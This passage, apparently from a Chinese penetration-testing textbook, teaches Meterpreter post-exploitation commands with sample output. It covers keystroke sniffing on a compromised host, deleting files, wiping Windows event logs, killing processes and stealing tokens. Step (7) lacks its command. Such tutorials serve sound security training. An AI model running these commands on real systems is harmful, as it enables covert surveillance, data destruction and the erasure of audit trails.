Meterpreter是Metasploit框架中的一個殺手鐧,通常作為利用漏洞后的攻擊載荷所使用,攻擊載荷在觸發漏洞后能夠返回給用戶一個控制通道。當使用Armitage、MSFCLI或MSFCONSOLE獲取到目標系統上的一個Meterpreter連接時,用戶必須使用Meterpreter傳遞攻擊載荷。MSFCONSOLE用於管理用戶的會話,而Meterpreter則是攻擊載荷和滲透攻擊交互。本節將介紹Meterpreter的使用。
Meterpreter包括的一些常見命令如下所示。
- help:查看幫助信息。
- background:允許用戶在后台Meterpreter會話。
- download:允許用戶從入侵主機上下載文件。
- upload:允許用戶上傳文件到入侵主機。
- execute:允許用戶在入侵主機上執行命令。
- shell:允許用戶在入侵主機上(僅是Windows主機)運行Windows shell命令。
- session -i:允許用戶切換會話。
通過打開MSFCONSOLE實現控制。具體操作步驟如下所示。
(1)在MSFCONSOLE上啟動一個活躍的會話。
(2)通過利用系統的用戶啟動登錄鍵盤輸入。執行命令如下所示:
meterpreter > keyscan_start
Starting the keystroke sniffer…
從輸出的信息中可以看到鍵盤輸入嗅探已啟動。
(3)捕獲漏洞系統用戶的鍵盤輸入。執行命令如下所示:
meterpreter > keyscan_dump
Dumping captured keystrokes…
<Return> www.baidu.com <Return> aaaa <Return> <Back> <Back> <Back> <Back> <Back>
以上輸出的信息表示在漏洞系統中用戶輸入了www.baidu.com,aaaa及回車鍵、退出鍵。
(4)停止捕獲漏洞系統用戶的鍵盤輸入。執行命令如下所示:
meterpreter > keyscan_stop
Stopping the keystroke sniffer…
從輸出的信息中可以看到鍵盤輸入嗅探已停止。
(5)刪除漏洞系統上的一個文件。執行命令如下所示:
meterpreter > del exploited.docx
(6)清除漏洞系統上的事件日志。執行命令如下所示:
meterpreter > clearev
[*] Wiping 57 records from Application…
[*] Wiping 107 records from System…
[*] Wiping 0 records from Security…
(7)查看正在運行的進程列表。執行命令如下所示:
輸出的信息顯示了漏洞系統中正在運行的所有進程,包括進程的ID號、進程名、系統架構、用戶及運行程序的路徑等。
(8)使用kill殺死漏洞系統中指定的進程號。執行命令如下所示:
meterpreter > kill 2040
Killing: 2040
(9)嘗試從漏洞系統竊取一個假冒令牌。執行命令如下所示:
meterpreter > steal_token
注意:使用不同的模塊,Meterpreter中的命令是不同的。有些模塊中,可能不存在以上命令。